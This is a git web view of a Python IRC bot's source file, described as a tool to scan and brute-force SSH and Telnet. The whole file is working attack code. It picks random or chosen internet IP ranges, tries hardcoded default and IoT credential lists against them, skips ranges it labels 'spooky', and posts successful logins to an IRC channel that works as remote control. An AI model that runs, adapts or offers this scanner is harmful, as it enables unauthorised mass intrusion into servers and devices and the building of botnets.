spaggiari- irc bot to scan & bruteforce ssh/telnet |
git clone git://git.acid.vegas/spaggiari.git |
Log | Files | Refs | Archive | README | LICENSE |
spaggiari_irc.py (17446B)
1 #!/usr/bin/env python 2 # Spaggiari Scanner (IRC Bot Version) - Developed by acidvegas in Python (https://acid.vegas/spaggiari) 3 4 import ipaddress 5 import os 6 import random 7 import re 8 import socket 9 import ssl 10 import sys 11 import telnetlib 12 import threading 13 import time 14 from collections import OrderedDict 15 16 # IRC Config 17 server = 'irc.supernets.org' 18 port = 6667 19 use_ipv6 = False 20 use_ssl = False 21 password = None 22 channel = '#dev' 23 key = None 24 admin_host = 'ak@super.nets' 25 26 # Throttle Settings 27 max_threads = 120 # Maximum number of threads. 28 throttle = 0 # Delway between each combo attempt. 29 timeout_breaker = 3 # How many timeouts until host is given up on. 30 timeout = 3 # Timeout for all sockets. 31 32 # Bruteforce Combos 33 ssh_combos = OrderedDict([ 34 ('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')), 35 ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password')) 36 ]) 37 38 telnet_combos = OrderedDict([ 39 ('666666', ('666666',)), 40 ('888888', ('888888',)), 41 ('admin', (None, '1111', '1111111', '1234', '12345', '123456', '54321', '7ujMko0admin', 'admin', 'admin1234', 'meinsm', 'pass', 'password', 'smcadmin')), 42 ('admin1', ('password',)), 43 ('administrator', ('1234',)), 44 ('Administrator', ('admin',)), 45 ('guest', ('12345', 'guest')), 46 ('mother', ('fucker',)), 47 ('root', (None, '00000000', '1111', '1234', '12345', '123456', '54321', '666666', '7ujMko0admin', '7ujMko0vizxv', '888888', 'admin', 'anko', 'default', 'dreambox', 'hi3518', 'ikwb', 'juantech', 'jvbzd', 'klv123', 'klv1234', 'pass', 'password', 'realtek', 'root', 'system', 'user', 'vizxv', 'xc3511', 'xmhdipc', 'zlxx.', 'Zte521')), 48 ('service', ('service',)), 49 ('supervisor', ('supervisor',)), 50 ('support', ('support',)), 51 ('tech', ('tech',)), 52 ('ubnt', ('ubnt',)), 53 ('user', ('user',)) 54 ]) 55 56 # Important Ranges (DO NOT EDIT) 57 spooky = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7') 58 reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255') 59 60 # Formatting Control Characters / Color Codes 61 bold = '\x02' 62 italic = '\x1D' 63 underline = '\x1F' 64 reverse = '\x16' 65 reset = '\x0f' 66 white = '00' 67 black = '01' 68 blue = '02' 69 green = '03' 70 red = '04' 71 brown = '05' 72 purple = '06' 73 orange = '07' 74 yellow = '08' 75 light_green = '09' 76 cyan = '10' 77 light_cyan = '11' 78 light_blue = '12' 79 pink = '13' 80 grey = '14' 81 light_grey = '15' 82 83 # Debug Functions 84 def debug(msg): 85 print('{0} | [~] - {1}'.format(get_time(), msg)) 86 87 def error(msg, reason=None): 88 if reason: 89 print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason))) 90 else: 91 print('{0} | [!] - {1}'.format(get_time(), msg)) 92 93 def error_exit(msg): 94 raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg)) 95 96 def get_time(): 97 return time.strftime('%I:%M:%S') 98 99 100 101 # Functions 102 def check_ip(ip): 103 return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip) 104 105 def check_port(ip, port): 106 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 107 sock.settimeout(timeout) 108 try: 109 code = sock.connect((ip, port)) 110 except socket.error: 111 return False 112 else: 113 if not code: 114 return True 115 else: 116 return False 117 finally: 118 sock.close() 119 120 def check_range(targets): 121 found = False 122 for ip in targets: 123 if found: 124 break 125 for bad_range in spooky + reserved: 126 if ip.startswith(bad_range + '.'): 127 found = True 128 break 129 return found 130 131 def color(msg, foreground, background=None): 132 if background: 133 return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset) 134 else: 135 return '\x03{0}{1}{2}'.format(foreground, msg, reset) 136 137 def ip_range(network): 138 return ipaddress.ip_network(network) 139 140 def random_ip(): 141 return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255)) 142 143 def random_int(min, max): 144 return random.randint(min, max) 145 146 def random_str(size): 147 return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(size)) 148 149 150 151 # Scan Functions 152 class random_scan(threading.Thread): 153 def __init__(self): 154 threading.Thread.__init__(self) 155 def run(self): 156 while True: 157 if Spaggiari.stop_scan: 158 break 159 else: 160 ip = (random_ip(), ) 161 if not check_range(ip): 162 ssh_bruteforce(ip[0]).start() 163 while threading.activeCount() >= max_threads: 164 time.sleep(1) 165 166 class range_scan(threading.Thread): 167 def __init__(self, ip_range): 168 self.ip_range = ip_range 169 threading.Thread.__init__(self) 170 def run(self): 171 for ip in self.ip_range: 172 if Spaggiari.stop_scan: 173 break 174 else: 175 ssh_bruteforce(ip).start() 176 self.ip_range.remove(ip) 177 while threading.activeCount() >= max_threads: 178 time.sleep(1) 179 while threading.activeCount() >= 2: 180 time.sleep(1) 181 Spaggiari.scanning = False 182 Spaggiari.sendmsg(channel, '[{0}] - Scan has completed.'.format(color('#', blue))) 183 184 class ssh_bruteforce(threading.Thread): 185 def __init__(self, ip): 186 self.ip = ip 187 self.timeouts = 0 188 threading.Thread.__init__(self) 189 def run(self): 190 if check_port(self.ip, 22): 191 for username in ssh_combos: 192 for password in ssh_combos[username]: 193 if Spaggiari.stop_scan or self.timeouts >= timeout_breaker: 194 break 195 else: 196 result = ssh_connect(self.ip, username, password) 197 if result == 1: 198 self.timeouts += 1 199 elif result == 2: 200 self.timeouts = timeout_breaker 201 time.sleep(throttle) 202 203 class telnet_bruteforce(threading.Thread): 204 def __init__(self, ip): 205 self.ip = ip 206 self.timeouts = 0 207 threading.Thread.__init__(self) 208 def run(self): 209 if check_port(self.ip, 23): 210 for username in telnet_combos: 211 for password in telnet_combos[username]: 212 if Spaggiari.stop_scan or self.timeouts >= timeout_breaker: 213 break 214 else: 215 result = telnet_connect(self.ip, username, password) 216 if result == 1: 217 self.timeouts += 1 218 elif result == 2: 219 self.timeouts = timeout_breaker 220 time.sleep(throttle) 221 222 def ssh_connect(hostname, username, password): 223 ssh = paramiko.SSHClient() 224 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 225 try: 226 ssh.connect(hostname, 22, username, password, timeout=timeout) 227 stdin,stdout,stderr = ssh.exec_command('echo lol') 228 for line in stdout.readlines(): 229 if 'ogin:' in line: 230 raise Exception('Invalid') 231 else: 232 Spaggiari.sendmsg(channel, line) 233 except socket.timeout: 234 return 1 235 except: 236 return 0 237 else: 238 Spaggiari.sendmsg(channel, '[{0}] - Successful SSH connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password)) 239 return 2 240 finally: 241 ssh.close() 242 243 def telnet_connect(hostname, username, password): 244 try: 245 tn = telnetlib.Telnet(hostname, 23, timeout) 246 # time.sleep(1) 247 # print(tn.read_some()) 248 tn.read_until((b':' or b'>' or b'$' or b'@')) 249 tn.write(username.encode() + b'\n') 250 tn.read_until((b':' or b'>' or b'$' or b'@')) 251 tn.write(password.encode() + b'\n') 252 tn.read_all() 253 tn.close() 254 except socket.timeout: 255 return 1 256 except: 257 return 0 258 else: 259 Spaggiari.sendmsg(channel, '[{0}] - Successful Telnet connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password)) 260 return 2 261 262 263 264 # IRC Bot Object 265 class IRC(object): 266 def __init__(self): 267 self.server = server 268 self.port = port 269 self.use_ipv6 = use_ipv6 270 self.use_ssl = use_ssl 271 self.password = password 272 self.channel = channel 273 self.key = key 274 self.nickname = 'spag-' + random_str(5) 275 self.scanning = False 276 self.stop_scan = False 277 self.sock = None 278 279 def start(self): 280 self.connect() 281 282 def action(self, chan, msg): 283 self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg)) 284 285 def connect(self): 286 try: 287 self.create_socket() 288 self.sock.connect((self.server, self.port)) 289 if self.password: 290 self.raw('PASS ' + self.password) 291 self.raw(f'USER {random_str(5)} 0 * :{random_str(5)}') 292 self.nick(self.nickname) 293 except Exception as ex: 294 error('Failed to connect to IRC server.', ex) 295 self.event_disconnect() 296 else: 297 self.listen() 298 299 def create_socket(self): 300 family = socket.AF_INET6 if self.use_ipv6 else socket.AF_INET 301 self.sock = socket.socket(family, socket.SOCK_STREAM) 302 if self.use_ssl: 303 self.sock = ssl.wrap_socket(self.sock) 304 305 def error(self, chan, msg, reason=None): 306 if reason: 307 self.sendmsg(chan, '[{0}] {1} {2}'.format(color('ERROR', red), msg, color('({0})'.format(str(reason)), grey))) 308 else: 309 self.sendmsg(chan, '[{0}] {1}'.format(color('ERROR', red), msg)) 310 311 def event_connect(self): 312 self.join(self.channel, self.key) 313 314 def event_disconnect(self): 315 self.sock.close() 316 self.stop_scan = True 317 while threading.activeCount() >= 3: 318 time.sleep(1) 319 self.scanning = False 320 self.stop_scan = False 321 time.sleep(10) 322 self.connect() 323 324 def event_kick(self, nick, chan, kicked, reason): 325 if kicked == self.nickname and chan == self.channel: 326 self.join(chan, self.key) 327 328 def event_message(self, nick, host, chan, msg): 329 #if host == admin_host: 330 args = msg.split() 331 cmd = msg.split()[0][1:] 332 if cmd == 'random': 333 if not self.scanning: 334 self.sendmsg(chan, '[{0}] - Scanning random IP addresses...'.format(color('#', blue))) 335 self.scanning = True 336 random_scan().start() 337 else: 338 self.error(chan, 'A scan is already running.') 339 elif cmd == 'status': 340 if self.scanning: 341 self.sendmsg(chan, 'Scanning: ' + color('True', green)) 342 else: 343 self.sendmsg(chan, 'Scanning: ' + color('False', red)) 344 elif cmd == 'stop': 345 if self.scanning: 346 self.stop_scan = True 347 while threading.activeCount() >= 2: 348 time.sleep(1) 349 self.action(chan, 'Stopped all running scans.') 350 self.scanning = False 351 self.stop_scan = False 352 elif cmd == 'range': 353 if not self.scanning: 354 if args[1] in ('b','c'): 355 if args[1] == 'b': 356 if args[2] == 'random': 357 range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255)) 358 else: 359 range_prefix = args[2] 360 start = range_prefix + '.0.0' 361 end = range_prefix + '.255.255' 362 elif args[1] == 'c': 363 if args[2] == 'random': 364 range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255)) 365 else: 366 range_prefix = args[2] 367 start = range_prefix + '.0' 368 end = range_prefix + '.255' 369 if check_ip(start) and check_ip(end): 370 targets = ip_range(start, end) 371 if not check_range(targets): 372 self.sendmsg(chan, '[{0}] - Scanning {1} IP addresses in range...'.format(color('#', blue), '{:,}'.format(len(targets)))) 373 self.scanning = True 374 range_scan(targets).start() 375 else: 376 self.error(chan, 'Spooky/Reserved IP address range.') 377 else: 378 self.error(chan, 'Invalid IP address range.') 379 else: 380 self.error(chan, 'Invalid arguments.') 381 else: 382 self.error(chan, 'A scan is already running.') 383 384 def event_nick_in_use(self): 385 self.nickname = 'spag-' + random_str(5) 386 self.nick(self.nickname) 387 388 def handle_events(self, data): 389 args = data.split() 390 if args[0] == 'PING': 391 self.raw('PONG ' + args[1][1:]) 392 elif args[1] == '001': 393 self.event_connect() 394 elif args[1] == '433': 395 self.event_nick_in_use() 396 if args[1] == 'KICK': 397 nick = args[0].split('!')[0][1:] 398 chan = args[2] 399 kicked = args[3] 400 self.event_kick(nick, chan, kicked) 401 elif args[1] == 'PRIVMSG': 402 nick = args[0].split('!')[0][1:] 403 if nick != self.nickname: 404 host = args[0].split('!')[1].split('@')[1] 405 chan = args[2] 406 if chan == self.channel: 407 msg = ' '.join(args[3:])[1:] 408 self.event_message(nick, host, chan, msg) 409 410 def join(self, chan, key=None): 411 if key: 412 self.raw(f'JOIN {chan} {key}') 413 else: 414 self.raw('JOIN ' + chan) 415 416 def listen(self): 417 while True: 418 try: 419 data = self.sock.recv(1024).decode('utf-8') 420 if data: 421 for line in (line for line in data.split('\r\n') if line): 422 debug(line) 423 if len(line.split()) >= 2: 424 if line.startswith('ERROR :Closing Link:'): 425 raise Exception('Connection has closed.') 426 else: 427 self.handle_events(line) 428 else: 429 error('No data recieved from server.') 430 break 431 except (UnicodeDecodeError,UnicodeEncodeError): 432 pass 433 except Exception as ex: 434 error('Unexpected error occured.', ex) 435 break 436 self.event_disconnect() 437 438 def nick(self, nick): 439 self.raw('NICK ' + nick) 440 441 def raw(self, msg): 442 self.sock.send(bytes(msg + '\r\n', 'utf-8')) 443 444 def sendmsg(self, target, msg): 445 self.raw(f'PRIVMSG {target} :{msg}') 446 447 # Main 448 print(''.rjust(56, '#')) 449 print('#{0}#'.format(''.center(54))) 450 print('#{0}#'.format('Spaggiari Scanner'.center(54))) 451 print('#{0}#'.format('Developed by acidvegas in Python 3'.center(54))) 452 print('#{0}#'.format('https://github.com/acidvegas/spaggiari'.center(54))) 453 print('#{0}#'.format(''.center(54))) 454 print(''.rjust(56, '#')) 455 if not sys.version_info.major == 3: 456 error_exit('Spaggiari Scanner requires Python version 3 to run!') 457 try: 458 import paramiko 459 except ImportError: 460 error_exit('Failed to import the Paramiko library!') 461 else: 462 paramiko.util.log_to_file(os.devnull) 463 Spaggiari = IRC() 464 Spaggiari.start()